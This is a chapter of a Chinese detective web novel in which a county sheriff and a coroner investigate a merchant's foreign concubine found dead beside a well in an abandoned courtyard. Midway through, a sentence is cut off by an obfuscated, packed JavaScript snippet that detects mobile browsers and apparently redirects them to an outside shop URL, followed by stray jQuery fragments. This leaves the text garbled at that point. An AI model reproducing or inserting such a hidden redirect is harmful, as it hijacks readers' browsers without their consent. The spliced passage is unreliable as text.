默认冷灰
24号文字
方正启体

26. (一) 子规夜啼

作者:草木东本书字数:K更新时间:
    仲夏夜,蝉鸣聒噪得厉害。


    院子里的这株银杏树或许已有百年的历史,树根粗壮,枝叶扶疏。白日里是生机一片的浓绿,一到晚上,便成黑魆一团,阴冷森森。


    树下有口井,井身内外已长满青苔。井边有个十分漂亮的异域女人,高鼻、深目;赤色的衣裙像一团在风中燃烧的火焰,张扬、明艳,犹如她这个人——不难想象,如果她现在睁开眼睛,这一定是双同样活泼且热烈的眼睛......


    但是她的眼睛却是闭着的,整个人像初生的婴儿般蜷缩着。现在看来,她也如婴儿般纯真,脸上的表情平和、安宁——除了那本该勃发着朝气的生命力。


    她看来实在有些太过安静了,安静得犹如死了一般......


    一只杜鹃越过高墙,掠过森冷的银杏枝叶,落在井口,喉间发出一声声凄厉的嘶鸣,仿佛在说——


    不如归去


    不如归去......


    这株已有百年历史的银杏长得繁茂粗壮,生机盎然,青绿得可爱的叶子被风一吹,立刻窸窸窣窣摇起一潮碧波,就连炙烫的阳光经过这绿意森森的枝叶筛过,也变得柔和,最后在井口落成一大片清凉的遮荫。


    井身外壁青苔的森绿却已被刺眼的红色替代。


    暗红色的血,血已干涸。


    ——这是一个女人的血,一个眉眼艳丽的红衣女人。


    只不过现在所有代表生命的红已从她脸上彻底消失,只剩下毫无生机的惨白。


    她显然已经死去多时。


    越渚看着她,眼睛里不禁露出恻隐之色。


    她毕竟还太过年轻。


    死者名叫热娜娅珠,年二十三,是城中富商刘伯商的妾室。今日早晨,她的贴身侍女宝儿进房间伺候她洗漱时发现她不在,临近中午,两个洒扫下人才在这间“宝珠院”中发现她的尸体,于是报官。


    死者口、眼微开;左太阳穴骨损,有血污——为致命伤。


    检验热娜娅珠尸身的是嵋州县衙仵作陈木。这是一名年过半百,头发已经大半灰白的老人;他的身材也已如老树般干瘦甚至佝偻,然而,却有一双依旧充满旺盛活力的眼睛。这双并不太大的眼睛藏在他松弛、堆满皱纹的眼皮底下,却仿佛并不属于一个老人——尤其验尸时,这双充满活力的眼睛里便闪露出锐利的光芒,就像那验尸刀刃上闪出的锋利刀光。


    “至于她身上还有没有其他致命伤,还需进一步检验。”


    陈木叹息了一声,站起身来,做了论断。


    即使已经当了几十年的仵作,对于这些逝去的生命,他总还是会忍不住叹息同情。


    李复点了点头。


    他一向相信这老者的判断。


    陈木从事仵作一行已经三十余年,两人共事也已有十多年,他很清楚,代替死者说话,这位老人从来也没有出过差错。


    但——他的脸色还是并不怎么好看。


    身为本地县尉,在他的管辖之内,先是在他眼皮子底下出了一桩劫杀独身客人多年的黑店案,如今还不到半月,又出了一桩命案......


    陈木接着道:“死者全身已经出现尸僵,不过尚无恶气,加上这阴冷的树荫......这姑娘的死亡时间大概在昨晚亥时前后到子时之间。”


    李复没有说话,神色凝重,举目环顾四周。


    这院子并不太小,布置得也很有心思,只是显然已许久不曾有人踏足,不仅这几已干枯的水井周围长满青苔,井旁的那株百年银杏树的树根也覆满了绿苔;院子靠院墙两边种着两大片不知名的紫色小花——或许是异域产物,由于无人打理,便有如漫长的野草,显得杂乱无章。


    院子里的几间屋子显然也已经很久没有人光临过,刚推开门便扑面一股呛鼻的扬尘,各类家什,甚至地面上也都爬满了一层厚厚的灰尘,而尘上也并未留下任何新的痕迹——可见,这些屋子至少很长一段时间都没有人进来过。


    那么这热娜娅珠死在这里便十分奇怪:三更半夜,她为什么会突然来到这么一间几乎已算荒僻的院子?


    尽管现场的血迹并不算很多,但就从现场看来,热娜娅珠应该就是在这里遇害——但究竟是意外失足磕倒以至遇害,还是人为,那就还须另行查证。


    “这院子本来是老爷特地为阿珠姨娘辟出来的。”


    管家刘长解释了一句,说时,下意识向旁边一位静默不语的贵妇人悄悄觑了一眼,似乎是在观望着她的神色,见她表情并无异样,这才接着道:“阿珠姨娘本不是咱们中原人,原是三年前老爷去关外走商带回来的。院子里的那些花也是老爷他花重金特地请人移栽过来的,原是阿珠姨娘家乡的产物,就是怕阿珠姨娘想家。只是近两年姨娘也不知怎么,不愿在这间院子住了,老爷也就给她另行安置了住处;后来姨娘也就很少再来这里,这间院子也就这样荒下来了。”


    他语气谨慎,“就因为这样,早上宝儿发现姨娘不在房间,大家找了一通,谁也没有想到她竟是到这里来了......说不准,姨娘她是想家了......”


    余光瞟一眼李复,却是没敢再接着猜测下去。


    李复身长九尺有余,越渚本已算很高,可是和他比起来却还是要矮了不少。除了身形高大,他身材也十分魁伟,虎背熊腰,生就一副威严之相;加上左眉一道断口,更给他平添几分凶煞。


    早十一二年前,他新官上任,不到一年,就率县衙衙捕一举剿灭了附近为祸多年的山匪,凶煞之名随着勇猛刚直之名随风暴涨,是嵋州人人皆知的“铁脸县尉”。嵋州百姓对他,是敬佩中又存了三分畏惧,刘长当然也不例外。


    “昨天半夜,老奴的确看到姨娘她从自己的院子出来了。”


    昨晚坐夜的许婆子也证明热娜娅珠应是昨晚自己主动去的宝珠院。今天她一听说热娜娅珠出事,就忙不迭将昨晚所见第一时间禀告给了府中的主人之一——也就是刘伯商的夫人王蔷;这时也规规矩矩地站在院子外等着李复等人问话。


    这时越渚查问起诸人口供,便将自己昨天晚上所见所闻一一向他道来:“昨天晚上,大概差不多快三更时候,老奴去方便,就看到姨娘她从西院......就是她自己的院子走出来了。当时老奴看老爷书房还亮着灯,还以为她是要去找老爷,也没多想,怎么想得到姨娘她......”


    这婆子对热娜娅珠显然比刘长要多几分感情,说到这里,眼中竟似有了一两分泪意。


    许婆子的话虽然并不能证明什么,却至少能说明一点——热娜娅珠的死亡时间,就在这三更前后。


    而根据热娜娅珠遇害的时间,当时她既是三更前后被这许婆子目击出门,去的自然也不会是别的地方。


    所以,虽然还不知道是出于什么原因,昨晚热娜娅珠应该就是自己主动走到宝珠院的。


    越渚沉吟了片刻,看看几乎忍不住要落泪的许婆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278924|198328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,不由又向侯在这里等候传问的刘府其他相关之人多看了两眼,发现除了这位许婆子脸上还略微带着点悲伤之色,这府上的人对这热娜娅珠恐怕都没有很多感情。


    尤其是那位一直不曾多说一句话的贵妇人。


    这贵妇人当然不是别人,正是这刘宅中的女主人王蔷。


    这是个三十五六岁的女人,乌黑的发髻高挽在头顶,发髻上斜插着一支温润的碧玉簪,显得干净而简落;身上的衣裳也熨烫得十帖顺,正如她这个人,看来温柔而端重。但就是太过温和了,反倒显得冷淡,就好像现在在她身后院子里躺着的只是一个与她毫无关系的陌生人。


    当然,他也并不很意外她为何是这副反应。


    刘宅本也算本地的大户,大户里发生什么事总是难免要传一点出来的。更何况当初刘伯商将热娜娅珠带回来时,本已闹得满城风雨。


    王蔷与刘伯商本是青梅竹马,两家一家开古董铺,一家开绸缎铺,本是门当户对,原也是一对伉俪情深的夫妻;谁知三年前,刘伯商去关外走商,竟带回来一名胡人女子,也就是热娜娅珠。据说为让王蔷同意纳热娜娅珠进门,刘伯商甚至不惜将自己名下两间最值钱的铺子过给了她。王蔷虽最终拿了铺子,容许了热娜娅珠进门,却也当然从此寒了心——两人虽未和离,从此夫妻间的情分也算是断送了。


    王蔷与刘伯商育有一女,原名刘昭棠,此事过后,王蔷便将自己女儿的姓氏改回了自己的姓氏——此事,一度成为嵋州城津津乐道的话题。


    如今这搅得她生活天翻地覆的妾室死了,她现在这副反应当然已经算是十分体面。


    但热娜娅珠若非意外致死,这王蔷的嫌疑自然也是最大的。


    李复显然同他也是一样的想法,威肃的目光在这冷淡得坦然的王夫人身上落了片刻,到底还是没有立刻追问她昨晚的行踪,而是转而又问起面前这行人另一个问题:“贵府刘老爷呢?”


    从他们进府到现在,这刘家的家主刘伯商居然也一直不曾露面。


    “老爷他一大早就出去了。”刘长代替王蔷做了回答。


    “出去了?”李复脸色微沉,“去哪了?”


    “这......小人不知道。”刘长回道:“只听门房说老爷他一大早就叫人套了车出去了,现在也不曾回来......”


    李复将目光转向王蔷。


    王蔷的回答当然也在意料之中:“外子一向自有主张,我也不知。大人若是有事想问,等他回来,我会让下人转告于他。”


    李复听说,也就不再多问,当下吩咐人将热娜娅珠尸身暂收至义庄,等陈木复验;又让越渚等人接着依例询问各人口供,只是暗中嘱咐询问口供时,暗暗打探王蔷昨日行踪。


    然而,结果是,数名丫头婆子的证词一致证明,王蔷无辜:昨天前半晚她一直呆在自己房间,后半晚因其女王昭棠梦魇,则一直在女儿房间陪她入睡,直到天亮。


    当然,这些婆子丫头的证词是否属实,就还需另行查证。


    至于死者热娜娅珠,越渚等人问起她曾经或者近期是否与什么人有过交恶时,从府中下人躲躲闪闪的言辞中,大概可以拼凑出这样一个既定的事实:这位死去的热娜娅珠姨娘,与刘府中的人——无论是主子也好,下人也罢,关系都很一般,甚至包括贴身服侍她的侍女宝儿。


    而大家对她的评价大概也可以用八个字来形容:性情反复,暴戾无常。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)